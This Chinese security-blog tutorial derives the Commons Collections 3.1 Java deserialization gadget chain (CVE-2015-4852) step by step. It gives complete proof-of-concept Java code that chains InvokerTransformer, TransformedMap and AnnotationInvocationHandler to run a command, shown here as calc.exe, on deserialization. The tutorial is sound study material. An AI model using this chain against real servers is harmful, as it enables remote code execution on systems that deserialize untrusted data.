JAVA反序列化 - commons-collections - 1

admin 2025年2月15日22:52:48评论11 views字数 28689阅读95分37秒阅读模式

No.1

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.2

前言

    这是个人学习java反序列化的第一篇利用链的文章,就好像P牛说的不知道为什么网上讲到java反序列化学习,上来就是cc链,你知道这个链它有多复杂么.jpg。萌新也是理所当然的踩了这个坑,然后…..在一路质疑自己智商和"我不服"的情况下趟了过去。

    路难行,难行,总归要走。

    走来,回望去,呵,牛逼。

    在此文中是以一个只了解java反射机制和反序列化利用点(readObject)的视角去一点点复现推导了commons-collections、jdk1.7的poc的构造。

    同时记录下了一个个踩的坑,再爬出来,再跳进去,再爬出来的历程。

    如果你具备了反射机制和反序列化基本原理的知识,同时想学习cc链的话,个人感觉是这篇文是再适合不过了。

    那么开始。

    了解反射机制的话,我们会发现若存在一个固有的反射机制时,输入可控,就可能形成任意函数调用的情况,具有极大的危害。
但实际上真的有存在这种情况:这就是commons-collections-3.1 jar包,cve编号:cve-2015-4852

    在开始之前我们需要理一下反序列化漏洞的攻击流程:

  1. 客户端构造payload(有效载荷),并进行一层层的封装,完成最后的exp(exploit-利用代码)

  2. exp发送到服务端,进入一个服务端自主复写(也可能是也有组件复写)的readobject函数,它会反序列化恢复我们构造的exp去形成一个恶意的数据格式exp_1(剥去第一层)

  3. 这个恶意数据exp_1在接下来的处理流程(可能是在自主复写的readobject中、也可能是在外面的逻辑中),会执行一个exp_1这个恶意数据类的一个方法,在方法中会根据exp_1的内容进行函处理,从而一层层地剥去(或者说变形、解析)我们exp_1变成exp_2、exp_3……

  4. 最后在一个可执行任意命令的函数中执行最后的payload,完成远程代码执行。

    那么以上大概可以分成三个主要部分:

  1. payload:需要让服务端执行的语句:比如说弹计算器还是执行远程访问等;我把它称为:payload

  2. 反序列化利用链:服务端中存在的反序列化利用链,会一层层拨开我们的exp,最后执行payload。(在此篇中就是commons-collections利用链)

  3. readObject复写利用点:服务端中存在的可以与我们漏洞链相接的并且可以从外部访问的readObject函数复写点;我把它称为readObject复写利用点(自创名称…)

No.3

commons-collections-3.1

    首先来看看commons-collections项目吧
官网第一段:

    Java commons-collections是JDK 1.2中的一个主要新增部分。它添加了许多强大的数据结构,可以加速大多数重要Java应用程序的开发。从那时起,它已经成为Java中公认的集合处理标准。

    Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。
    它是一个基础数据结构包,同时封装了很多功能,其中我们需要关注一个功能:

  • Transforming decorators that alter each object as it is added to the collection

  • 转化装饰器:修改每一个添加到collection中的object

    Commons Collections实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。
org.apache.commons.collections.Transformer这个类可以满足固定的类型转化需求,其转化函数可以自定义实现,我们的漏洞触发函数就是在于这个点。

    漏洞复现需要下载3.1版本,进去寻觅一下源码和jar包都有。

    由于没有找到漏洞版本3.1的api说明,我们可以参考3.2.2的api文档

No.4

POC->利用链

我们将通过调试POC得到漏洞利用链的调用栈,顺便介绍一下各个类,再通过分析调用栈的函数,反推出POC来探究其中的利用原理。

我们先看一下网上的POC代码,如下:

import org.apache.commons.collections.*;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class commons_collections_3_1 {    public static void main(String[] args) throws Exception {        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
       Transformer[] transformers = new Transformer[] {                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
       };        //将transformers数组存入ChaniedTransformer这个继承类
       Transformer transformerChain = new ChainedTransformer(transformers);        //创建Map并绑定transformerChina
       Map innerMap = new HashMap();
       innerMap.put("value", "value");        //给予map数据转化链
       Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);        //触发漏洞
       Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();        //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
       onlyElement.setValue("foobar");
   }
}

好好看代码的同学肯定会意识到,以上的poc其实只包括我总结三要素的payload和反序列化利用链两者。
 而关键的readObject复写利用点没有包含在内。事实确实如此。
 这个poc的复写利用点是sun.reflect.annotation.AnnotationInvocationHandler的readObject(),但是我们先精简代码关注payload和利用链,最后再加上readObject复写点。

调试以上POC,得到两种调用栈:

JAVA反序列化 - commons-collections - 1
JAVA反序列化 - commons-collections - 1

漏洞链

Map.Entry其实就是键值对的数据格式,其setValue函数如下
AbstracInputCheckedMapDecorator.class

       public Object setValue(Object value) {
           value = this.parent.checkSetValue(value);//进入此处
           return super.entry.setValue(value);
       }

TransformedMap是一种重写map类型的set函数和Map.Entry类型的setValue函数去调用转换链的Map类型。
TransformedMap.class

   protected Object checkSetValue(Object value) {        return this.valueTransformer.transform(value);//进入此处
   }

由于TransformedMap具有commons_collections的转变特性,当赋值一个键值对的时候会自动对输入值进行预设的Transformer的调用。

ChainedTransformer.class:这里有一个

public Object transform(Object object) {        for(int i = 0; i < this.iTransformers.length; ++i) {            //循环进入此处,先进入1次ConstantTransformer.class,再3次InvokerTransformer.class
           object = this.iTransformers[i].transform(object);            //另外需要注意在数组的循环中,前一次transform函数的返回值,会作为下一次transform函数的object参数输入。
       }        return object;
   }

transform()函数是一个接口函数,在上面的循环中进入了不同的函数。
先是1次ConstantTransformer.class

   public Object transform(Object input) {        return this.iConstant;
   }

再是进入了InvokerTransformer.class,看到这个就会发现有点东西了。

public Object transform(Object input) {        if (input == null) {            return null;
       } else {            try {                //获取input对象的class
               Class cls = input.getClass();                //根据iMethodName、iParamTypes选择cls中的一个方法
               Method method = cls.getMethod(this.iMethodName, this.iParamTypes);                //根据iArgs参数调用这个方法
               return method.invoke(input, this.iArgs);
           } catch (NoSuchMethodException var5) {                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
           } catch (IllegalAccessException var6) {                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
           } catch (InvocationTargetException var7) {                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
           }
       }
   }
}

明显的反射机制,可见InvokerTransformer就是我们的触发任意代码执行处,我们看看源码中的文件描述:
先看看我们需要关注的InvokerTransformer类的描述(在jar包中是找不到描述信息的,可以通过下载官方源码得到):

/**
* Transformer implementation that creates a new object instance by reflection.
*
通过反射机制创建一个新的对象实例的转换器实现

我们可以这里有经典的反射机制调用,在细节分析前我们先整理一下调用栈,但不需要很理解。

Map.Entry 类型setValue("foobar")
=> AbstracInputCheckedMapDecorator.setValue()
=> TransformedMap.checkSetValue()
=> ChainedTransformer.transform(Object object)
   根据数组,先进入 => ConstantTransformer.transform(Object input)
   再进入 => InvokerTransformer.transform(Object input)

No.5

重构POC

首先明确我们的最终目的是为了执行语句Runtime.getRuntime().exec("calc.exe");

  • Runtime.getRuntime:获取一个Runtime的实例

  • exec():调用实例的exec函数

因为漏洞函数最后是通过反射机制调用任意这个语句先转化成反射机制如下(后面需要用到):

至于如何构造反射机制的语句,参考往期文章java反射机制

Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))//此处在获取实例,"calc.exe")

第一步 InvokerTransformer

再回看反射机制触发函数InvokerTransformer类的transform(Object input)(做了简化处理,只留取重点部分):

public Object transform(Object input) {
   Class cls = input.getClass();
   Method method = cls.getMethod(this.iMethodName, this.iParamTypes);    return method.invoke(input, this.iArgs);

通过构造的反射机制以及以上代码进行填空,可以得出当变量等于以下值时,可形成命令执行:

Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));this.iMethodName="exec"this.iParamTypes=String.classthis.iArgs="calc.exe"

那么在InvokerTransformer类源码中我们可以找到赋值this.iMethodName,this.iParamTypes,this.iArgs的构造函数:

   public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {        this.iMethodName = methodName;        this.iParamTypes = paramTypes;        this.iArgs = args;
   }

我们就可以构建以下测试代码直接调用InvokerTransformer通过反射执行任意命令:下面开始试一下:

public static void main(String[] args) throws Exception {    //通过构造函数,输入对应格式的参数,对iMethodName、iParamTypes、iArgs进行赋值
   InvokerTransformer a = new InvokerTransformer(            "exec",            new Class[]{String.class},            new String[]{"calc.exe"}
   );    //构造input
   Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));    //执行
   a.transform(input);
}

JAVA反序列化 - commons-collections - 1

在第二步之前

弹出了计算器!好像很厉害的样子!然后我们来模拟一下利用场景:

  • 为了方便,攻击者受害者写在同一函数中

  • 使用文件写入,代替网络传输

由于InvokerTransformer继承了Serializable类,是可以成功序列化的

public static void main(String[] args) throws Exception {    //模拟攻击
   //1.客户端构造序列化payload,使用写入文件模拟发包攻击
   InvokerTransformer a = new InvokerTransformer(            "exec",            new Class[]{String.class},            new String[]{"calc.exe"});

   FileOutputStream f = new FileOutputStream("payload.bin");
   ObjectOutputStream fout = new ObjectOutputStream(f);
   fout.writeObject(a);    //2.服务端从文件中读取payload模拟接受包,然后触发漏洞
   //服务端反序列化payload读取
       FileInputStream fi = new FileInputStream("payload.bin");
       ObjectInputStream fin = new ObjectInputStream(fi);    //神奇第一处:服务端需要自主构造恶意input
       Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));    //神奇第二处:服务端需要将客户端输入反序列化成InvokerTransformer格式,并在服务端自主传入恶意参数input
       InvokerTransformer a_in = (InvokerTransformer) fin.readObject();
       a_in.transform(input);
}

    我们会发现如果我们要直接利用这个反射机制作为漏洞的话,需要服务端的开发人员:

  1. 帮我们写一个payload作为input;

  2. 接受客户端输入参数,反序列化成InvokerTransformer类

  3. 再刻意调用InvokerTransformer类的transform函数

    实际上…..只有开发人员是自己人的情况下才满足条件吧……
    所以我们面临一些问题:

  1. payload肯定需要在客户端可以自定义构造,再传输进入服务端

  2. 服务端需要把我们的输入exp反序列化成一个在代码中可能使用到的类

  3. 并且在代码正常操作中会调用这个类中的一个可触发漏洞地函数(当然这个函数最后会进入我们InvokerTransformer类的transform函数,从而形成命令执行)

  4. 如果这个反序列化的类和这个类触发命令执行的方法可以在一个readObject复写函数中恰好触发,就对于服务端上下文语句没有要求了!

    这边假如像预期这样,是对服务端上下文没有要求,因为只要执行readObject就肯定会命令执行,不需要其他上下文条件。

    但是对于服务端版本环境是有要求的,之后会说到

    那么我们一个个来解决问题:首先使客户端自定义paylaod!

第二步 ChainedTransformer

    下面我们需要关注ChainedTransformer这个类,首先看一下这个类的描述:

   /**
   * Transformer implementation that chains the specified transformers together.
   * <p>
   * The input object is passed to the first transformer. The transformed result
   * is passed to the second transformer and so on.
   *
   将指定的转换器连接在一起的转化器实现。
   输入的对象将被传递到第一个转化器,转换结果将会输入到第二个转化器,并以此类推

可以知道他会把我们的Transformer变成一个串,再逐一执行,其中这个操作对应的就是ChainedTransformer类的transform函数

   /**
       * Transforms the input to result via each decorated transformer
       *
       * @param object  the input object passed to the first transformer
       * @return the transformed result
       */
   public Object transform(Object object) {        for (int i = 0; i < iTransformers.length; i++) {
           object = iTransformers[i].transform(object);
       }        return object;
   }

这里会遍历iTransformers数组,依次调用这个数组中每一个Transformer的transform,并串行传递执行结果。

首先确定iTransformers可控,iTransformers数组是通过ChainedTransformer类的构造函数赋值的:

   /**
    * Constructor that performs no validation.
    * Use <code>getInstance</code> if you want that.
    *
    * @param transformers  the transformers to chain, not copied, no nulls
    */
   public ChainedTransformer(Transformer[] transformers) {        super();//这个super不清楚做了啥,
       iTransformers = transformers;
   }

那么我们知道可以自定义iTransformers的内容,我们已有条件如下:

   //最终执行目标
   Class.forName("java.lang.Runtime")
   .getMethod("exec", String.class)
   .invoke(
   Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))//此处在获取实例
   ,    "calc.exe"
   )    //InvokeTransformer关键语句:
   public Object transform(Object input) {
       Class cls = input.getClass();
       Method method = cls.getMethod(this.iMethodName, this.iParamTypes);        return method.invoke(input, this.iArgs);
   }

    再看到InvokeTransformer代码我们需要引出一个注意点:

    这里我们需要注意到input.getClass()这个方法使用上的一些区别:

  • 当input是一个类的实例对象时,获取到的是这个类

  • 当input是一个类时,获取到的是java.lang.Class

    可以使用如下代码验证,这里不再赘述

   Object a = Runtime.getRuntime();
   Class b = Runtime.class;
   System.out.println(a.getClass());
   System.out.println(b.getClass());    //结果
   //class java.lang.Runtime
   //class java.lang.Class

基于之前写的代码:

//只调用InvokeTransformer的情况如下:
   InvokerTransformer a = new InvokerTransformer(                "exec",                new Class[]{String.class},                new String[]{"calc.exe"});

   Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));

我们也可以知道input的为Runtime类的对象,所以cls就是Runtime类,所以cls.getMethod可以找到exec方法,直接进行调用。

先把a封装成ChainedTransformer格式,但是payload还是在外面

   //客户端构造payload
   Transformer[] transformers = new Transformer[] {        new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"});
   }
   Transformer transformerChain = new ChainedTransformer(transformers);    //服务端触发所需内容
   Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
   transformerChain.transform(input);//此处必须为input,作为第一个输入

把payload放入Transformer数组中,需要转化成特定的Transformer格式才行。

第二点五步 ConstantTransformer -> Runtime实例序列化

我们找到ConstantTransformer类跟InvokkerTransformer一样继承Transforme父类,可以进入数组
顾名思义ConstantTransformer类其实就只会存放一个常量;它的构造函数会写入这个变量,他的transform函数会返回这个变量。
把Runtime实例写入这个变量:

   Transformer[] transformers = new Transformer[] {        //以下两个语句等同,一个是通过反射机制得到,一个是直接调用得到Runtime实例
       // new ConstantTransformer(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))),
       new ConstantTransformer(Runtime.getRuntime()),        new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
   };
   Transformer transformerChain = new ChainedTransformer(transformers);
   transformerChain.transform(null);//此处输入可以为任意值,因为不会被使用到,相当于初始第一个输入为我们设置的常量

以上代码可以成功弹框执行!那么我们模拟一下序列化与反序列化过程!

   //客户端构造payload
   Transformer[] transformers = new Transformer[] {        new ConstantTransformer(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))),        new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
   };
   Transformer transformerChain = new ChainedTransformer(transformers);    //payload序列化写入文件,模拟网络传输
   FileOutputStream f = new FileOutputStream("payload.bin");
   ObjectOutputStream fout = new ObjectOutputStream(f);
   fout.writeObject(transformerChain);    //服务端反序列化payload读取
   FileInputStream fi = new FileInputStream("payload.bin");
   ObjectInputStream fin = new ObjectInputStream(fi);    //服务端反序列化成ChainedTransformer格式,并在服务端自主传入恶意参数input
   Transformer transformerChain_now = (ChainedTransformer) fin.readObject();
   transformerChain_now.transform(null);

但是很遗憾的告诉以为快要成功的你,成功的本地测试加上序列化、反序列化过程之后就会失败。
因为Runtime类的定义没有继承Serializable类,所以是不支持反序列化的。

JAVA反序列化 - commons-collections - 1

那么我们在payload写入Runtime实例的计划就泡汤了。

第二点八步 在服务端生成Runtime实例

既然我们没法在客户端序列化写入Runtime的实例,那就让服务端执行我们的命令生成一个Runtime实例呗?
我们知道Runtime的实例是通过Runtime.getRuntime()来获取的,而InvokerTransformer里面的反射机制可以执行任意函数。
同时,我们已经成功执行过Runtime类里面的exec函数。讲道理肯定是没问题的.

我们先看getRuntiime方法的参数

public static Runtime getRuntime() {    return currentRuntime;
}

没有参数,那就非常简单了

   Transformer[] transformers = new Transformer[] {            new ConstantTransformer(Runtime.class),//得到Runtime class
           //由于InvokerTransformer的构造函数要求传入Class类型的参数类型,和Object类型的参数数值,所以封装一下,下面也一样
           //上面传入Runtime.class,调用Runtime class的getRuntime方法(由于是一个静态方法,invoke调用静态方法,传入类即可)
           new InvokerTransformer("getRuntime",new Class[]{},new Object[]{}),            //上面Runtime.getRuntime()得到了实例,作为这边的输入(invoke调用普通方法,需要传入类的实例)    
           new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
   };
   Transformer transformerChain = new ChainedTransformer(transformers);
   transformerChain.transform(null);

在这里,之前自己陷入了一个很傻逼的问题,即:InvokerTransformer类transform方法中return method.invoke()这个语句
 invoke()调用到底return了啥?
 因为在这里形成了一个调用return的结果,再调用的链。为什么就可以上一个输出作为下一个输入时,可以成功调用了呢?
 一开始以为invoke会统一返回一个对象作为下一个输入什么的,并且在调试的时候每次invoke的结果都不一样,源码看的头晕。
 实际上是钻了死胡同:invoke的return是根据被调用的函数return啥,invoke就return啥。
 就好比我invoke一个我自定义的方法a,在a中,我return了字符串"1"。那么就是invoke的结果就是字符串"1"。
 看以上的过程就是第一次Runtime.getRuntime()的结果输入了下一个InvokerTransformer

以上感觉是万事大吉了!但是实际上并不是…

JAVA反序列化 - commons-collections - 1

回想之前对于InvokerTransformer中Class cls = input.getClass();的解释

  • 这里我们需要注意到input.getClass()这个方法使用上的一些区别:

  • 当input是一个类的实例对象时,获取到的是这个类

当input是一个类时,获取到的是java.lang.Class

我们来推演第一次InvokerTransformer的反射调用,即得到Runtime类对象的getRuntime方法调用:

//InvokeTransformer关键语句:
   public Object transform(Object input) {//input为我们设置的常量Runtime.class
       Class cls = input.getClass();//!!!这里由于input是一个类,会得到java.lang.Class
       //在java.lang.Class类中去寻找getRuntime方法企图得到Runtime类对象,此处报错!!
       Method method = cls.getMethod(this.iMethodName, this.iParamTypes);        return method.invoke(input, this.iArgs);
   }

    那么我们好像陷入了一个死胡同:
得到Runtime类实例才能调用exec方法。
而得到Runtime类实例作为input,才能得到Runtime class,才能找到getRuntime方法,得到Runtime类实例………

…………………非常的尴尬…………………..

第二点九步 还是反射机制

    那么我们通过直接调用Runtime.getRuntime方法好像是行不通了,有没有其他方法呢?

还是反射机制

    已知:

  1. 我们开头不能获得Class.forName("java.lang.Runtime"),只能得到Class.forName("java.lang.Class")

  2. 我们可以有任意的反射机制
    求:

  3. 我们要获取到Runtime.getRunime函数,并执行它。
    解:

  4. 通过反射机制获取反射机制中的getMethod类,由于getMethod类是存在Class类中,就符合开头Class类的限制

  5. 通过getMethod函数获取Runtime类中的getRuntime函数

  6. 在哪个类中调用getMethod去获取方法,实际上是由invoke函数里面的的第一个参数obj决定的

  7. 再通过反射机制获取反射机制中的invoke类,执行上面获取的getRuntime函数

  8. invoke调用getRuntime函数,获取Runtime类的实例

    这里在使用反射机制调用getRuntime静态类时,invoke里面第一个参数obj其实可以任意改为null,或者其他类,而不一定要是Runtime类

    具体变化细节,我选择把它放在反射机制一文中说明,这边给出结果。

    我们的最终目的是执行
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")

    先来获取getRuntime类

//目标语句Class.forName("java.lang.Runtime").getMethod("getRuntime")//使用java.lang.Class开头Class.forName("java.lang.Class").getMethod("getMethod", new Class[] {String.class, Class[].class })
       .invoke(Class.forName("java.lang.Runtime"),"getRuntime",new Class[0]);        //invoke函数的第一个参数是Runtime类,我们需要在Runtime类中去执行getMethod,获取getRuntime参数

对照着InvokerTransformer类转变为transformers格式

Class cls = input.getClass();//cls = java.lang.ClassMethod method = cls.getMethod(this.iMethodName, this.iParamTypes); //getMethod方法return method.invoke(input, this.iArgs); //在Runtime中找getRuntime方法,并返回这个方法

Transformer[] transformers = new Transformer[] {        new ConstantTransformer(Runtime.class),        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),       //还需要填充 调用getRuntime得到Runtime实例,
       new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};

还差执行获取到的getRuntime,下一个input是上一个执行接口,继续对照

//input=getRuntime这个方法Class cls = input.getClass();//cls = java.lang.Method(getRuntime方法是method类)Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //在method类中找到invoke方法,method=invoke方法return method.invoke(input, this.iArgs); //调用invoke方法,input=getRuntime这个方法,传入自定义的参数

以上最后一步有点复杂,method就是invoke方法,相当于使用invoke调用了invoke函数。首先this.iMethodName, this.iParamTypes是根据invoke接口而定的:

public Object invoke(Object obj, Object... args)//this.iMethodName="invoke"//this.iParamTypes=new Class[] {Object.class, Object[].class }//外面class、Object封装是InvokerTransformer类的构造函数要求

按照invoke中的input才是它要调用的环境的准则。
invoke方法.invoke(input, this.iArgs)实际上等于input.invoke(this.iArgs),
而input=getRuntime方法,那么只要填入this.iArgs就好了

又由于getRuntime是个静态函数,不用太纠结输入obj,写作null。getRuntime方法不需要参数。
this.iArgs=null,new Object[0]

那么整合就如下:

Transformer[] transformers = new Transformer[] {    new ConstantTransformer(Runtime.class),    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),    new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};

以上代码其实就是等同于
((Runtime)Runtime.class.getMethod("getMethod",null).invoke(null,null)).exec("calc.exe");
我们笼统的来理解,实际就是如下(这里偷一张orleven的图):

JAVA反序列化 - commons-collections - 1

总体上来说:利用了反射机制调用反射机制的函数,绕过了开头cls只能为java.lang.Class的限制,根据具体环境input环环相扣,特么竟然恰好就通了
….非常的微妙….

第三步 TransformedMap

那么我们在第二步通过ConstantTransformer、ChainedTransformer就完成了payload在客户端自定义这一目标,我们看一下目前的攻击流程

public class commons_collections_3_1 {    public static void main(String[] args) throws Exception {        //1.客户端构建攻击代码
       //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
       Transformer[] transformers = new Transformer[] {                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
       };        //将transformers数组存入ChaniedTransformer这个继承类
       Transformer transformerChain = new ChainedTransformer(transformers);        //payload序列化写入文件,模拟网络传输
       FileOutputStream f = new FileOutputStream("payload.bin");
       ObjectOutputStream fout = new ObjectOutputStream(f);
       fout.writeObject(transformerChain);        //2.服务端读取文件,反序列化,模拟网络传输
       FileInputStream fi = new FileInputStream("payload.bin");
       ObjectInputStream fin = new ObjectInputStream(fi);        //服务端反序列化成ChainedTransformer格式,再调用transform函数
       Transformer transformerChain_now = (ChainedTransformer) fin.readObject();
       transformerChain_now.transform(null);
   }
}

JAVA反序列化 - commons-collections - 1

完成命令执行服务端执行如下操作:

  1. 服务端反序列化我们的输入成ChainedTransformer类型

  2. 调用这个输入的transform()函数

转变的类型是一个数据转化链数据格式,很明显服务端不可能存在这种代码,利用价值不足,接下来我们需要继续延长这个漏洞链。

封装成Map

由于我们得到的是ChainedTransformer,一个转换链,TransformedMap类提供将map和转换链绑定的构造函数,只需要添加数据至map中就会自动调用这个转换链执行payload。

这样我们就可以把触发条件从显性的调用转换链的transform函数延伸到修改map的值。很明显后者是一个常规操作,极有可能被触发。

TransformedMap

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {    return new TransformedMap(map, keyTransformer, valueTransformer);
}

try一下:

public static void main(String[] args) throws Exception {    //1.客户端构建攻击代码
   //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
   Transformer[] transformers = new Transformer[] {            new ConstantTransformer(Runtime.class),            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
   };    //将transformers数组存入ChaniedTransformer这个继承类
   Transformer transformerChain = new ChainedTransformer(transformers);    //创建Map并绑定transformerChina
   Map innerMap = new HashMap();
   innerMap.put("value", "value");    //给予map数据转化链
   Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);    //payload序列化写入文件,模拟网络传输
   FileOutputStream f = new FileOutputStream("payload.bin");
   ObjectOutputStream fout = new ObjectOutputStream(f);
   fout.writeObject(outerMap);    //2.服务端接受反序列化,出发漏洞
   //读取文件,反序列化,模拟网络传输
   FileInputStream fi = new FileInputStream("payload.bin");
   ObjectInputStream fin = new ObjectInputStream(fi);    //服务端反序列化成Map格式,再调用transform函数
   Map outerMap_now =  (Map)fin.readObject();    //2.1可以直接map添加新值,触发漏洞
   //outerMap_now.put("123", "123");
   //2.2也可以获取map键值对,修改value,value为value,foobar,触发漏洞
   Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
   onlyElement.setValue("foobar");
}

亲测有效

第四步 jdk1.7 AnnotationInvocationHandler的readObject复写点

上面的漏洞触发条件仍然不够完美,需要服务端把我们传入的序列化内容反序列化为map,并对值进行修改。
之前也说过完美的反序列化漏洞还需要一个readobject复写点,使只要服务端执行了readObject函数就等于命令执行。

在jdk1.7中就存在一个完美的readobject复写点的类sun.reflect.annotation.AnnotationInvocationHandler。
我們先看他的构造函数

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
   Class[] var3 = var1.getInterfaces();    if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {//var1满足这个if条件时
       this.type = var1;//传入的var1到this.type
       this.memberValues = var2;//我们的map传入this.memberValues
   } else {        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
   }
}

readobject复写函数:

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {        //默认反序列化
       var1.defaultReadObject();
       AnnotationType var2 = null;        try {
           var2 = AnnotationType.getInstance(this.type);
       } catch (IllegalArgumentException var9) {            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
       }

       Map var3 = var2.memberTypes();//
       Iterator var4 = this.memberValues.entrySet().iterator();//获取我们构造map的迭代器

       while(var4.hasNext()) {
           Entry var5 = (Entry)var4.next();//遍历map迭代器
           String var6 = (String)var5.getKey();//获取key的名称
           Class var7 = (Class)var3.get(var6);//获取var2中相应key的class类?这边具体var3是什么个含义不太懂,但是肯定var7、8两者不一样
           if (var7 != null) {
               Object var8 = var5.getValue();//获取map的value
               if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {                    //两者类型不一致,给var5赋值!!具体赋值什么已经不关键了!只要赋值了就代表执行命令成功
                   var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
               }
           }
       }

   }
}

虽然相对于这个类具体做什么,实在是没有精力去搞清楚了,但是它最终对于我们传入构造函数的map进行遍历赋值。
这样就弥补了我们之前反序列化需要服务端存在一些条件的不足,形成完美反序列化攻击。

最终模拟攻击代码

public static void main(String[] args) throws Exception {    //1.客户端构建攻击代码
   //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
   Transformer[] transformers = new Transformer[] {            new ConstantTransformer(Runtime.class),            new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),            new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),            new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
   };    //将transformers数组存入ChaniedTransformer这个继承类
   Transformer transformerChain = new ChainedTransformer(transformers);    //创建Map并绑定transformerChina
   Map innerMap = new HashMap();
   innerMap.put("value", "value");    //给予map数据转化链
   Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);    //反射机制调用AnnotationInvocationHandler类的构造函数
   Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
   Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);    //取消构造函数修饰符限制
   ctor.setAccessible(true);    //获取AnnotationInvocationHandler类实例
   Object instance = ctor.newInstance(Target.class, outerMap);    //payload序列化写入文件,模拟网络传输
   FileOutputStream f = new FileOutputStream("payload.bin");
   ObjectOutputStream fout = new ObjectOutputStream(f);
   fout.writeObject(instance);    //2.服务端读取文件,反序列化,模拟网络传输
   FileInputStream fi = new FileInputStream("payload.bin");
   ObjectInputStream fin = new ObjectInputStream(fi);    //服务端反序列化
   fin.readObject();
}

成功

JAVA反序列化 - commons-collections - 1

至此,我们在客户端构造了payload发送至服务端,
只要服务端

  1. 对我们的输入进行反序列化

  2. jdk版本为1.7

就可以直接完成命令执行,完美!

jdk1.8为什么不行呢

